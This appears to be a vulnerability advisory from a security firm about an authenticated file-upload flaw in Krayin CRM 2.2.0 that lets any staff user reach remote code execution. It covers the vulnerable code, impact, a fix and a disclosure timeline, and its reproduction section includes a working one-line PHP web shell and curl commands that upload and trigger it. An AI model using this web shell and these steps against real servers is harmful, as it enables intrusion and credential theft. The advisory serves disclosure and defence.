Krayin CRM 2.2.0 - Authenticated Arbitrary File Upload to RCE

Krayin CRM 2.2.0 ships a TinyMCE media-upload endpoint that accepts any file extension and stores the result on a publicly served Laravel disk

B
Bytium Operators
2 min read

Krayin CRM 2.2.0 ships a TinyMCE media-upload endpoint that accepts any file extension and stores the result on a publicly served Laravel disk. Any authenticated staff user — including the lowest-privilege Sales Rep role — can drop a .php file at POST /admin/tinymce/upload and execute it as www-data via the URL the application returns to them.

  • Affected: Krayin CRM 2.2.0 (latest release at time of writing) and earlier 2.x builds shipping the same controller
  • CWE: 434 (Unrestricted Upload of File with Dangerous Type) chained with CWE-94 (Improper Control of Generation of Code)
  • CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 High
  • Privilege required: any authenticated staff account

The bug

The sink is packages/Webkul/Admin/src/Http/Controllers/TinyMCEController.php::storeMedia:

$filename = md5($file->getClientOriginalName().time())
            .'.'.$file->getClientOriginalExtension();
$path = $file->storeAs($this->storagePath, $filename);
$this->sanitizeSvg($path, $file);

Three problems stacked:

  1. No extension whitelist. getClientOriginalExtension() reflects whatever the client sent — .php, .phtml, .phar are all accepted.
  2. sanitizeSvg() short-circuits on non-SVG files. Its first line is if (! $this->isSvgFile($file)) return; — so a .php upload bypasses sanitization entirely.
  3. Default filesystem disk is public. config/filesystems.php line 17 sets 'default' => env('FILESYSTEM_DISK', 'public'), rooted at storage/app/public. The standard php artisan storage:link step (required for Storage::url() to return a working URL) symlinks that to public/storage/, which Apache or Nginx serves directly as PHP.

The endpoint also returns the full executable URL in its JSON response, so no path guessing is needed.

Reproduction

Verified live on a stock Krayin 2.2.0 Docker install, logged in as a non-admin Sales Rep:

echo '<?php echo "PWNED:".exec($_GET["c"] ?? "id"); ?>' > shell.php
 
curl -sS -b "$JAR" -H "X-XSRF-TOKEN: $XSRF" -H "X-Requested-With: XMLHttpRequest" \
     -F "[email protected]" "http://target/admin/tinymce/upload"
# {"location":"http://target/storage/tinymce/<md5>.php"}
 
curl "http://target/storage/tinymce/<md5>.php?c=id"
# PWNED:uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

A single low-privilege staff account converts directly into shell on the application server. From there:

  • storage/app/.env exposes APP_KEY, full DB credentials, SMTP creds, and any integration secrets (Slack, Gmail, Google Calendar, SMS gateways the deployment is wired to).
  • APP_KEY exposure means the attacker can forge or decrypt every session cookie and queued job the app has ever encrypted.
  • Database read/write is direct, bypassing every Bouncer ACL the application thinks it is enforcing.

Fix

In TinyMCEController::storeMedia:

$allowed = ['jpg', 'jpeg', 'png', 'gif', 'webp', 'svg'];
$ext = strtolower($file->getClientOriginalExtension());
if (! in_array($ext, $allowed, true)) abort(415);
if (! str_starts_with($file->getMimeType(), 'image/')) abort(415);

Stronger fix: derive the extension from $file->getMimeType() rather than trusting the client, and serve uploads through an authenticated download controller rather than from the public disk.

Timeline

  • 2026-05-04 — Bug discovered during audit of Krayin CRM 2.2.0.
  • 2026-05-07 — Vendor notified by email with 7-day disclosure deadline.
  • 2026-05-16 — Coordinated-disclosure deadline. If no fix or vendor engagement by this point, advisory and CVE submission go public.

Credit

Discovered and reported by Jobyer Ahmed — Offensive Security Researcher, Bytium.

References

Need help?

Talk with Bytium

Share your goals and we'll shape the right testing, detection, or compliance plan.

Talk to security